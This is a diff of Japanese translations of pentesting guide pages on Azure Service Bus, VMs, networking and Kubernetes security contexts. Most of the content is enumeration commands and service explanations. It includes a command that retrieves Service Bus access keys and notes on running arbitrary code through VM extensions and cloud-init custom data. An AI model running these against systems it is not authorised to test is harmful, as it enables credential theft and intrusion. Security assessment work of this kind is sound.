Azure Service Busは、アプリケーションの異なる部分または別々のアプリケーション間の信頼性のある**通信**を可能にするために設計されたクラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
### Key Concepts
@@ -42,7 +42,7 @@ SASポリシーは、Azure Service Busエンティティネームスペース
- 送信: エンティティにメッセージを送信することを許可します。
- リスン: エンティティからメッセージを受信することを許可します。
- **プライマリおよびセカンダリキー**: アクセスを認証するための安全なトークンを生成するために使用される暗号化キーです。
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの使用が簡単です。
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの簡単な使用のために提供されます。
- **SASポリシーARM ID**: プログラムによる識別のためのポリシーへのAzureリソースマネージャーARMパスです。
### NameSpace
@@ -51,9 +51,8 @@ sku, authrorization rule,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.ServiceBus
@@ -128,10 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 権限昇格
@@ -147,8 +142,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
## 参考文献
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -38,15 +38,15 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド
- ネットワーク合計が 500GB を超える
- ネットワークアウト合計が 200GB を超える
- VmAvailabilityMetric が 1 未満
- **ヘルスモニター**: デフォルトではポート 80 HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) 状態にすることができます。
- **ヘルスモニター**: デフォルトではポート 80 HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) にすることができます。
- ほとんどの VM 関連リソース **もロックをサポート**しています (ディスク、スナップショットなど)。
- ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。
## ディスクとスナップショット
- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことができます。
- デフォルトでは、すべてのディスクは **プラットフォームキーで暗号化**されています。
- デフォルトでは、すべてのディスクは **暗号化**されています。
- スナップショットでも同様です。
- デフォルトでは、**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**公開およびプライベートアクセスを完全に無効に**することもできます。
- スナップショットでも同様です。
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## 画像、ギャラリー画像と復元ポイント
**VMイメージ**は、**新しい仮想マシンVM**を作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することもできます。
**VMイメージ**は、**新しい仮想マシンVM**を作成するために必要なオペレーティングシステム、アプリケーション設定、ファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、これにより**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することも可能です。
**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点での**アプリケーション整合性のある**スナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
**復元ポイント**は、VMの構成と**時点**でのアプリケーション整合性のある**すべての管理ディスクのスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させることで、ビジネスの継続性を確保ます。Site Recoveryは、物理および仮想マシンVMで稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させることで、ビジネスの継続性を確保するのに役立ちます。Site Recoveryは、物理および仮想マシンVMで稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。
## Azure Bastion
Azure Bastionは、Azure Portalまたはジャンプボックスを介して、仮想マシンVMへの安全でシームレスな**リモートデスクトッププロトコルRDP**および**セキュアシェルSSH**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレスの必要性を排除**します。
Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシンVMへの安全でシームレスな**リモートデスクトッププロトコルRDP**および**セキュアシェルSSH**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレスの必要性を排除**します。
Bastionは、必要なVNetに`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、**ブラウザを介して内部VMに接続**することを可能にし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
Bastionは、必要なVNetに`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、`RDP`および`SSH`を使用してブラウザ経由で内部VMに**接続**できるようにし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます:
{{#tabs}}
{{#tab name="az cli"}}
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
{{#endref}}
## VM列挙
{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
@@ -427,15 +432,18 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## コード実行 in VMs
{{#endtab }}
{{#endtabs }}
### VM 拡張機能
## VMsにおけるコード実行
Azure VM 拡張機能は、Azure 仮想マシン (VM) 上での **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。
### VM拡張機能
これにより、**VM 内で任意のコードを実行**することが可能になります。
Azure VM拡張機能は、Azure仮想マシンVM上での**デプロイ後の構成**および自動化タスクを提供する小さなアプリケーションです。
必要な権限は **`Microsoft.Compute/virtualMachines/extensions/write`** です。
これにより、**VM内で任意のコードを実行**することが可能になります。
必要な権限は**`Microsoft.Compute/virtualMachines/extensions/write`**です。
利用可能なすべての拡張機能をリストすることができます:
@@ -721,7 +729,7 @@ az vm application set \
### ユーザーデータ
これは**永続データ**であり、メタデータエンドポイントからいつでも取得できます。Azureでは、ユーザーデータはAWSやGCPとは異なり、**ここにスクリプトを置いてもデフォルトでは実行されません**
これは**永続データ**であり、メタデータエンドポイントからいつでも取得できます。Azureユーザーデータは、**ここにスクリプトを置いてもデフォルトでは実行されない**ため、AWSやGCPとは異なります
### カスタムデータ
@@ -729,8 +737,8 @@ VMにいくつかのデータを渡すことが可能で、期待されるパス
- **Windows**では、カスタムデータは`%SYSTEMDRIVE%\AzureData\CustomData.bin`にバイナリファイルとして配置され、処理されません。
- **Linux**では、`/var/lib/waagent/ovf-env.xml`に保存されていましたが、現在は`/var/lib/waagent/CustomData/ovf-env.xml`に保存されています。
- **Linuxエージェント**デフォルトではカスタムデータを処理せず、データが有効なカスタムイメージが必要です。
- **cloud-init**デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで、簡単にスクリプトを実行できます。
- **Linuxエージェント**: デフォルトではカスタムデータを処理しないため、データが有効なカスタムイメージが必要です。
- **cloud-init:** デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで、スクリプトを簡単に実行できます。
- UbuntuとDebianの両方がここに置いたスクリプトを実行することを試しました。
- これが実行されるためにユーザーデータを有効にする必要はありません。
```bash

View File

@@ -9,7 +9,7 @@ Azureは、ユーザーがAzureクラウド内に**孤立した****ネットワ
## 仮想ネットワークVNETとサブネット
Azure仮想ネットワークVNetは、クラウド内の自分のネットワークの表現であり、サブスクリプション専用のAzure環境内で**論理的な隔離**を提供します。VNetを使用すると、Azureで仮想プライベートネットワークVPNをプロビジョニングおよび管理でき、仮想マシンVM、データベース、アプリケーションサービスなどのリソースをホストできます。これにより、IPアドレス範囲、サブネットの作成、ルートテーブル、ネットワークゲートウェイなどの**ネットワーク設定を完全に制御**できます。
Azure仮想ネットワークVNetは、クラウド内の自分のネットワークの表現であり、サブスクリプション専用のAzure環境内で**論理的な隔離**を提供します。VNet、Azureで仮想プライベートネットワークVPNをプロビジョニングおよび管理できるようにし、仮想マシンVM、データベース、アプリケーションサービスなどのリソースをホストます。これにより、IPアドレス範囲、サブネットの作成、ルートテーブル、ネットワークゲートウェイなどの**ネットワーク設定を完全に制御**できます。
**サブネット**は、特定の**IPアドレス範囲**によって定義されたVNet内の細分化です。VNetを複数のサブネットに分割することで、ネットワークアーキテクチャに応じてリソースを整理し、保護できます。\
デフォルトでは、同じAzure仮想ネットワークVNet内のすべてのサブネットは、制限なしに**相互に通信**できます。
@@ -22,7 +22,7 @@ Azure仮想ネットワークVNetは、クラウド内の自分のネッ
### 列挙
Azureアカウント内のすべてのVNetとサブネットをリストするには、AzureコマンドラインインターフェCLIを使用できます。手順は以下の通りです。
Azureアカウント内のすべてのVNetとサブネットをリストするには、AzureコマンドラインインターフェCLIを使用できます。手順は以下の通りです。
{{#tabs }}
{{#tab name="az cli" }}
@@ -49,9 +49,9 @@ Select-Object Name, AddressPrefix
## ネットワーク セキュリティ グループ (NSG)
**ネットワーク セキュリティ グループ (NSG)** は、Azure Virtual Network (VNet) 内の Azure リソースへのネットワーク トラフィックをフィルタリングします。これは、**受信および送信トラフィックのために開くべきポート**をソースポート、ソースIP、ポートの宛先によって示すことができる一連の **セキュリティ ルール** を含んでおり、優先度を割り当てることも可能です(優先度番号が低いほど優先度が高くなります)。
**ネットワーク セキュリティ グループ (NSG)** は、Azure 仮想ネットワーク (VNet) 内の Azure リソースへのネットワークトラフィックをフィルタリングします。これは、**受信および送信トラフィックのために開くポート**をソースポート、ソースIP、ポートの宛先によって示すことができる一連の **セキュリティルール** を含んでおり、優先度を割り当てることも可能です(優先度番号が低いほど優先度が高くなります)。
NSG は **サブネットおよび NIC に関連付けることができます。**
NSG は **サブネットおよび NIC** に関連付けることができます。
**ルールの例:**
@@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは**ステートフルファイアウォール**であり、レイヤー3から7までのルールに基づいてトラフィックをフィルタリングし、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートします。**仮想ネットワークVNetレベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは**ステートフルファイアウォール**であり、レイヤー3から7のルールに基づいてトラフィックをフィルタリングし、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートします。**仮想ネットワークVNetレベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
これは、特定の顧客ニーズに合わせた3つのSKU—**Basic**、**Standard**、および**Premium**で利用可能です:
これは、特定の顧客ニーズに合わせた**Basic**、**Standard**、および**Premium**の3つのSKUで利用可能です:
| **推奨使用ケース** | 限定的なニーズを持つ中小企業SMB | 一般的な企業利用、レイヤー37フィルタリング | 高度に機密性の高い環境(例:決済処理) |
| ---------------------------- | ------------------------------------------ | ------------------------------------------- | --------------------------------------------------- |
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **脅威インテリジェンス** | アラートのみ | アラートとブロック悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システムIDPSを含む |
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **可用性** | 固定バックエンド2つのVM | オートスケーリング | オートスケーリング |
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
| Criteria/Feature | Option 1 | Option 2 | Option 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Recommended Use Case** | 限られたニーズを持つ中小企業SMB | 一般的な企業利用、レイヤー37フィルタリング | 高度に機密性の高い環境(例:支払い処理) |
| **Performance** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **Threat Intelligence** | アラートのみ | アラートとブロック悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7 Filtering** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **Advanced Threat Protection** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システムIDPSを含む |
| **TLS Inspection** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **Availability** | 固定バックエンド2つのVM | オートスケーリング | オートスケーリング |
| **Ease of Management** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
### Enumeration
@@ -144,7 +145,7 @@ Get-AzFirewall
Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。転送先は、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップです。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を次ホップとして NVA のプライベート IP アドレスにリダイレクトできます。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次ホップとしてリダイレクトできます。
### **列挙**
@@ -171,16 +172,16 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にする**Azureのサービスであり、**Azure仮想ネットワークVNetとサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内を移動すること保証ます**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするAzureのサービス**です。これにより、**Azure仮想ネットワークVNetとサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内を移動すること保証されます**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これ、自分のVNet内または異なるAzureサブスクリプションからサービスを消費するための安全な方法提供ます。
Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これにより、自分のVNet内または異なるAzureサブスクリプションからサービスを安全に利用する方法提供されます。
> [!CAUTION]
> NSGはプライベートエンドポイントには適用されないため、Private Linkを含むサブネットにNSGを関連付けても効果はありません。
**例:**
**VNetから安全にアクセスしたいAzure SQL Databaseがあるシナリオを考えてみてください**。通常、これはパブリックインターネットを経由することを含むかもしれません。Private Linkを使用すると、**VNet内にプライベートエンドポイントを作成**し、Azure SQL Databaseサービスに直接接続できます。このエンドポイントにより、データベースは自分のVNetの一部であるかのように見え、プライベートIPアドレスを介してアクセスできるため、安全でプライベートなアクセスが保されます。
**VNetから安全にアクセスしたいAzure SQL Databaseがあるシナリオを考えてみましょう**。通常、これはパブリックインターネットを経由することを含むかもしれません。Private Linkを使用すると、**VNet内にプライベートエンドポイントを作成**し、Azure SQL Databaseサービスに直接接続できます。このエンドポイントにより、データベースは自分のVNetの一部であるかのように見え、プライベートIPアドレスを介してアクセスできるため、安全でプライベートなアクセスが保されます。
### **Enumeration**
@@ -207,11 +208,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Azure Service Endpoints
Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービス**Azure StorageやAzure SQL Databaseなどに安全に接続できるようになります。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。
Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzure StorageやAzure SQL DatabaseなどのAzureサービスに安全に接続できるようになります**。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。
**例:**
たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。VNet内で**Azure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。その後、ストレージアカウントのファイアウォールを設定して、VNetからのトラフィックのみを受け入れるようにできます。
たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。**VNet内でAzure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。その後、ストレージアカウントのファイアウォールを構成して、VNetからのトラフィックのみを受け入れるようにできます。
### **Enumeration**
@@ -264,7 +265,7 @@ Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-networ
**Azure Front Door**は、**グローバルなウェブアプリケーションの迅速な配信**のためのスケーラブルで安全なエントリーポイントです。これは、グローバルな**負荷分散、サイト加速、SSLオフロード、WebアプリケーションファイアウォールWAF**機能など、さまざまなサービスを単一のサービスに**統合**しています。Azure Front Doorは、**ユーザーに最も近いエッジロケーション**に基づいてインテリジェントなルーティングを提供し、最適なパフォーマンスと信頼性を確保します。さらに、URLベースのルーティング、複数サイトホスティング、セッションアフィニティ、アプリケーション層のセキュリティを提供します。
**Azure Front Door WAF**は、**バックエンドコードを変更することなくウェブアプリケーションをウェブベースの攻撃から保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する保護のためのカスタムルールと管理されたルールセットを含んでいます。
**Azure Front Door WAF**は、バックエンドコードを変更することなく、**ウェブアプリケーションをウェブベースの攻撃から保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する脅威から保護するためのカスタムルールと管理されたルールセットを含んでいます。
**例:**
@@ -299,7 +300,7 @@ Azure Application Gateway は、**ウェブトラフィックのロードバラ
**例:**
eコマースウェブサイトがあり、ユーザーアカウントや支払い処理など異なる機能のため複数のサブドメインを含むシナリオを考えてみてください。Azure Application Gateway は、**URL パスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
ユーザーアカウントや支払い処理など異なる機能のため複数のサブドメインを含むeコマースウェブサイトがあるシナリオを考えてみてください。Azure Application Gateway は、**URL パスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
そして、**WAF 機能を使用してウェブサイトを攻撃から保護します。**
### **列挙**
@@ -322,15 +323,15 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワークVNetを直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\
**VNetピアリングは、オンプレミスネットワークとも使用できサイト間VPNまたはAzure ExpressRouteを設定することができます**
**VNetピアリングは、オンプレミスネットワークとも使用できます**サイト間VPNまたはAzure ExpressRouteを設定することで実現します
**Azure Hub and Spoke**は、Azureでネットワークトラフィックを管理および整理するために使用されるネットワークトポロジーです。**「ハブ」は、異なる「スポーク」間のトラフィックを制御しルーティングする中央ポイントです**。ハブには通常、ネットワーク仮想アプライアンスNVA、Azure VPN Gateway、Azure Firewall、またはAzure Bastionなどの共有サービスが含まれています。**「スポーク」は、ワークロードをホストし、VNetピアリングを使用してハブに接続するVNetです**。これにより、ハブ内の共有サービスを活用できます。このモデルは、クリーンなネットワークレイアウトを促進し、異なるVNet間で複数のワークロードが使用できる共通サービスを集中化することで複雑さを軽減します。
> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的であり**、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
**例:**
営業、HR、開発などの別々の部門を持つ会社を想像してください。**各部門には独自のVNetスポークが存在します**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらのリソースはすべて**別のVNetハブにあります**。ハブとスポークモデルを使用することで、各部門は**ハブVNetを介して共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。
販売、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNetスポークを持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNetハブ**にあります。ハブとスポークモデルを使用することで、各部門は**ハブVNetを介して共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。
### Enumeration
@@ -363,11 +364,11 @@ Get-AzFirewall
## サイト間VPN
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワークVNetに接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように表示されます。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワークVNetに接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。
**例:**
ニューヨークに本社を置く企業が、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。このVNetは仮想化されたワークロードをホストしています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。**
ニューヨークに本社を置く企業が、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。このVNetは仮想化されたワークロードをホストしています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。**
### **列挙**

View File

@@ -13,11 +13,12 @@ Podのセキュリティコンテキストを指定する際、いくつかの
- 可能であれば、**seLinuxOptions**や**seccompProfile**を指定して**permissions**を**制限**することを検討する
- **runAsGroup**や**supplementaryGroups**を介して**privilege** **group**アクセスを与えない
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>ポッド内の<strong>すべてのコンテナ</strong>に適用される特別な補助グループ。いくつかのボリュームタイプでは、Kubeletがそのボリュームの<strong>所有権を変更</strong>できるようになります:<br>1. 所有するGIDはFSGroupになります<br>2. setgidビットが設定されますボリューム内で作成された新しいファイルはFSGroupが所有します<br>3. パーミッションビットはrw-rw----とORされます。未設定の場合、Kubeletはボリュームの所有権とパーミッションを変更しません。</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | これは、Pod内で公開される前に**ボリュームの所有権とパーミッションを変更する**動作を定義します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトが使用されます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが非rootユーザーとして実行される必要があることを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0rootとして実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| パラメータ | 説明 |
